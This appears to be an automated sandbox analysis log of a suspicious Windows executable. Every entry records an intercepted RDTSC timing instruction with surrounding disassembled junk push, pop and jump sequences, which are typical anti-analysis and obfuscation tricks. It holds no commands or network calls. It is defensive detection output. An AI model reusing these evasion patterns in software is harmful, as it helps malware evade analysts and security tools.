Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72EB22 second address: 72EB36 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 jmp 00007FC4DCD0E30Ch 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72EB36 second address: 72EB51 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CDh 0x00000007 pop edx 0x00000008 pop eax 0x00000009 jbe 00007FC4DCC8C6ECh 0x0000000f push eax 0x00000010 push edx 0x00000011 push esi 0x00000012 pop esi 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 72EB51 second address: 72EB6D instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCD0E318h 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7332C2 second address: 7332DD instructions: 0x00000000 rdtsc 0x00000002 js 00007FC4DCC8C6C6h 0x00000008 jp 00007FC4DCC8C6C6h 0x0000000e pop edx 0x0000000f pop eax 0x00000010 push ecx 0x00000011 jnl 00007FC4DCC8C6C6h 0x00000017 pop ecx 0x00000018 pushad 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7332DD second address: 7332E5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 push eax 0x00000007 push edx 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7355DF second address: 7355E4 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7355E4 second address: 7355E9 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 push eax 0x00000004 push edx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7355E9 second address: 7355EF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7355EF second address: 735605 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 pop edx 0x00000006 pop eax 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a jmp 00007FC4DCD0E30Bh 0x0000000f pop eax 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 735605 second address: 735623 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D2h 0x00000007 push eax 0x00000008 push edx 0x00000009 jbe 00007FC4DCC8C6C6h 0x0000000f push edi 0x00000010 pop edi 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 6C09DA second address: 6C09ED instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 ja 00007FC4DCD0E306h 0x0000000a pushad 0x0000000b jo 00007FC4DCD0E306h 0x00000011 push eax 0x00000012 push edx 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73AE81 second address: 73AEA3 instructions: 0x00000000 rdtsc 0x00000002 jnl 00007FC4DCC8C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a push eax 0x0000000b push edx 0x0000000c jmp 00007FC4DCC8C6D4h 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 739BB9 second address: 739BBF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 739BBF second address: 739BC5 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 739CCE second address: 739CE1 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCD0E30Dh 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7398F4 second address: 7398F8 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7398F8 second address: 7398FC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7398FC second address: 73991D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 jmp 00007FC4DCC8C6D8h 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73A6C9 second address: 73A6CF instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73A83F second address: 73A86F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCC8C6D3h 0x00000009 push eax 0x0000000a pop eax 0x0000000b popad 0x0000000c pop ecx 0x0000000d push eax 0x0000000e push edx 0x0000000f push eax 0x00000010 jmp 00007FC4DCC8C6CFh 0x00000015 pushad 0x00000016 popad 0x00000017 pop eax 0x00000018 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73A86F second address: 73A88F instructions: 0x00000000 rdtsc 0x00000002 jo 00007FC4DCD0E316h 0x00000008 js 00007FC4DCD0E306h 0x0000000e jmp 00007FC4DCD0E30Ah 0x00000013 jnp 00007FC4DCD0E30Eh 0x00000019 push eax 0x0000001a push edx 0x0000001b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73AB3B second address: 73AB64 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 pushad 0x00000004 popad 0x00000005 pop edi 0x00000006 push ecx 0x00000007 pushad 0x00000008 popad 0x00000009 pushad 0x0000000a popad 0x0000000b pop ecx 0x0000000c pop edx 0x0000000d pop eax 0x0000000e pushad 0x0000000f jmp 00007FC4DCC8C6D7h 0x00000014 push edi 0x00000015 push eax 0x00000016 push edx 0x00000017 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73AB64 second address: 73AB6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 740A31 second address: 740A61 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCC8C6D1h 0x00000009 pushad 0x0000000a jmp 00007FC4DCC8C6D5h 0x0000000f push edi 0x00000010 pop edi 0x00000011 push ebx 0x00000012 pop ebx 0x00000013 popad 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 740A61 second address: 740A68 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 740A68 second address: 740A8A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCC8C6CDh 0x00000009 push edx 0x0000000a pop edx 0x0000000b popad 0x0000000c jc 00007FC4DCC8C6D2h 0x00000012 jnc 00007FC4DCC8C6C6h 0x00000018 push eax 0x00000019 push edx 0x0000001a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 740A8A second address: 740A95 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push edi 0x00000007 push eax 0x00000008 push edx 0x00000009 push eax 0x0000000a push edx 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 740A95 second address: 740A9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jl 00007FC4DCC8C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73F87C second address: 73F881 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ecx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73FB74 second address: 73FB89 instructions: 0x00000000 rdtsc 0x00000002 jbe 00007FC4DCC8C6C6h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edi 0x0000000b jbe 00007FC4DCC8C6EDh 0x00000011 push eax 0x00000012 push edx 0x00000013 push eax 0x00000014 push edx 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73FB89 second address: 73FB97 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCD0E30Ah 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73FD03 second address: 73FD0D instructions: 0x00000000 rdtsc 0x00000002 jc 00007FC4DCC8C6D2h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73FD0D second address: 73FD13 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73FFD3 second address: 73FFD7 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73FFD7 second address: 73FFE0 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 pushad 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73FFE0 second address: 740002 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jne 00007FC4DCC8C6C6h 0x0000000c popad 0x0000000d push eax 0x0000000e push edx 0x0000000f jmp 00007FC4DCC8C6D3h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 74046B second address: 74046F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7408A8 second address: 7408AC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73F120 second address: 73F12D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 pop eax 0x00000006 jns 00007FC4DCD0E306h 0x0000000c popad 0x0000000d rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73F12D second address: 73F14A instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC4DCC8C6CDh 0x00000008 push esi 0x00000009 pop esi 0x0000000a jc 00007FC4DCC8C6C6h 0x00000010 popad 0x00000011 push eax 0x00000012 push edx 0x00000013 pushad 0x00000014 popad 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 73F14A second address: 73F15C instructions: 0x00000000 rdtsc 0x00000002 js 00007FC4DCD0E306h 0x00000008 pop edx 0x00000009 pop eax 0x0000000a pop edx 0x0000000b pop eax 0x0000000c pushad 0x0000000d pushad 0x0000000e push esi 0x0000000f pop esi 0x00000010 push eax 0x00000011 push edx 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 746B6B second address: 746B84 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6D3h 0x00000007 push edx 0x00000008 pop edx 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 746B84 second address: 746B8C instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 pushad 0x00000005 popad 0x00000006 push edi 0x00000007 pop edi 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 74E2E8 second address: 74E2EC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 752914 second address: 75292F instructions: 0x00000000 rdtsc 0x00000002 push edx 0x00000003 pop edx 0x00000004 push edx 0x00000005 pop edx 0x00000006 pop edx 0x00000007 pop eax 0x00000008 popad 0x00000009 push eax 0x0000000a push edx 0x0000000b push edi 0x0000000c pushad 0x0000000d popad 0x0000000e jmp 00007FC4DCD0E30Ch 0x00000013 pop edi 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75292F second address: 752936 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 push edi 0x00000004 pop edi 0x00000005 push eax 0x00000006 push edx 0x00000007 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 752936 second address: 752945 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push eax 0x00000006 push edx 0x00000007 pushad 0x00000008 popad 0x00000009 jnl 00007FC4DCD0E306h 0x0000000f rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 751D45 second address: 751D49 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 751D49 second address: 751D6A instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jmp 00007FC4DCD0E311h 0x0000000b push eax 0x0000000c push edx 0x0000000d pushad 0x0000000e popad 0x0000000f jns 00007FC4DCD0E306h 0x00000015 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 752032 second address: 75203C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 push esi 0x00000006 push esi 0x00000007 pop esi 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75246B second address: 75246F instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75246F second address: 752489 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCC8C6D4h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7590B6 second address: 7590CA instructions: 0x00000000 rdtsc 0x00000002 push esi 0x00000003 pop esi 0x00000004 jmp 00007FC4DCD0E30Eh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 757B07 second address: 757B0D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 757B0D second address: 757B47 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pushad 0x00000006 jmp 00007FC4DCD0E313h 0x0000000b push esi 0x0000000c pop esi 0x0000000d jmp 00007FC4DCD0E30Fh 0x00000012 popad 0x00000013 push eax 0x00000014 push edx 0x00000015 jmp 00007FC4DCD0E30Bh 0x0000001a push edi 0x0000001b pop edi 0x0000001c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 757B47 second address: 757B68 instructions: 0x00000000 rdtsc 0x00000002 push ebx 0x00000003 pop ebx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 popad 0x00000007 push eax 0x00000008 push edx 0x00000009 push edi 0x0000000a jne 00007FC4DCC8C6C6h 0x00000010 pop edi 0x00000011 jmp 00007FC4DCC8C6D0h 0x00000016 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 757B68 second address: 757B7B instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC4DCD0E30Eh 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7580B8 second address: 7580BC instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 704E21 second address: 704E25 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 758217 second address: 758221 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 pushad 0x00000006 push eax 0x00000007 push edx 0x00000008 pushad 0x00000009 popad 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 758221 second address: 758225 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 758225 second address: 758242 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCC8C6D1h 0x00000009 pop edx 0x0000000a pop eax 0x0000000b push eax 0x0000000c push edx 0x0000000d push esi 0x0000000e pop esi 0x0000000f push edx 0x00000010 pop edx 0x00000011 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 758242 second address: 75825F instructions: 0x00000000 rdtsc 0x00000002 jl 00007FC4DCD0E306h 0x00000008 jmp 00007FC4DCD0E30Eh 0x0000000d pop edx 0x0000000e pop eax 0x0000000f pushad 0x00000010 push esi 0x00000011 pop esi 0x00000012 push eax 0x00000013 push edx 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 758D89 second address: 758D93 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jo 00007FC4DCC8C6C6h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 758D93 second address: 758D97 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 758D97 second address: 758D9F instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop edx 0x00000007 pop eax 0x00000008 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75E83D second address: 75E841 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75E841 second address: 75E852 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 jmp 00007FC4DCC8C6CBh 0x00000009 pop edx 0x0000000a pop eax 0x0000000b rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75E852 second address: 75E866 instructions: 0x00000000 rdtsc 0x00000002 push edi 0x00000003 jmp 00007FC4DCD0E30Bh 0x00000008 push edx 0x00000009 pop edx 0x0000000a pop edi 0x0000000b push edi 0x0000000c push eax 0x0000000d push edx 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75EEAC second address: 75EEB2 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75EEB2 second address: 75EEBC instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jnp 00007FC4DCD0E306h 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75F755 second address: 75F765 instructions: 0x00000000 rdtsc 0x00000002 jmp 00007FC4DCC8C6CCh 0x00000007 push eax 0x00000008 push edx 0x00000009 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75F765 second address: 75F779 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jg 00007FC4DCD0E306h 0x0000000e js 00007FC4DCD0E306h 0x00000014 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75FA27 second address: 75FA31 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 pop ecx 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 75FA31 second address: 75FA35 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 76000E second address: 760029 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCC8C6CEh 0x00000009 pushad 0x0000000a popad 0x0000000b jl 00007FC4DCC8C6C6h 0x00000011 popad 0x00000012 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7602DF second address: 7602EB instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pushad 0x00000005 popad 0x00000006 pop ecx 0x00000007 pushad 0x00000008 push edx 0x00000009 pop edx 0x0000000a push eax 0x0000000b push edx 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7602EB second address: 760300 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 jmp 00007FC4DCC8C6CEh 0x00000009 pushad 0x0000000a popad 0x0000000b popad 0x0000000c rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 760300 second address: 76031C instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 jmp 00007FC4DCD0E317h 0x00000008 push eax 0x00000009 push edx 0x0000000a rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 76031C second address: 760322 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 765467 second address: 76546C instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop ebx 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 76490D second address: 764912 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 popad 0x00000005 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 764912 second address: 764933 instructions: 0x00000000 rdtsc 0x00000002 push ecx 0x00000003 jmp 00007FC4DCD0E313h 0x00000008 ja 00007FC4DCD0E306h 0x0000000e pop ecx 0x0000000f push eax 0x00000010 push edx 0x00000011 push eax 0x00000012 pop eax 0x00000013 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 764933 second address: 764937 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 764937 second address: 76493D instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 764ED8 second address: 764EFB instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 jno 00007FC4DCC8C6C6h 0x00000009 push edi 0x0000000a pop edi 0x0000000b pop eax 0x0000000c pop edx 0x0000000d pop eax 0x0000000e push edi 0x0000000f pushad 0x00000010 push ecx 0x00000011 pop ecx 0x00000012 push ecx 0x00000013 pop ecx 0x00000014 jns 00007FC4DCC8C6C6h 0x0000001a popad 0x0000001b push eax 0x0000001c push edx 0x0000001d jns 00007FC4DCC8C6C6h 0x00000023 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 764EFB second address: 764EFF instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 765195 second address: 765199 instructions: 0x00000000 rdtsc 0x00000002 push eax 0x00000003 push edx 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 765199 second address: 7651A9 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 jl 00007FC4DCD0E31Eh 0x0000000c push eax 0x0000000d push edx 0x0000000e pushad 0x0000000f popad 0x00000010 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 7651A9 second address: 7651B7 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 pop edx 0x00000005 pop eax 0x00000006 push eax 0x00000007 push edx 0x00000008 jnp 00007FC4DCC8C6C6h 0x0000000e rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 769ED6 second address: 769EDA instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 769EDA second address: 769EE0 instructions: 0x00000000 rdtsc 0x00000002 pushad 0x00000003 popad 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 769EE0 second address: 769EE6 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 pop edx 0x00000005 pop eax 0x00000006 rdtsc
Source: C:\Users\user\Desktop\UWYXurYZ2x.exe	RDTSC instruction interceptor: First address: 773841 second address: 773847 instructions: 0x00000000 rdtsc 0x00000002 pop edx 0x00000003 pop eax 0x00000004 push eax 0x00000005 push edx 0x00000006 rdtsc
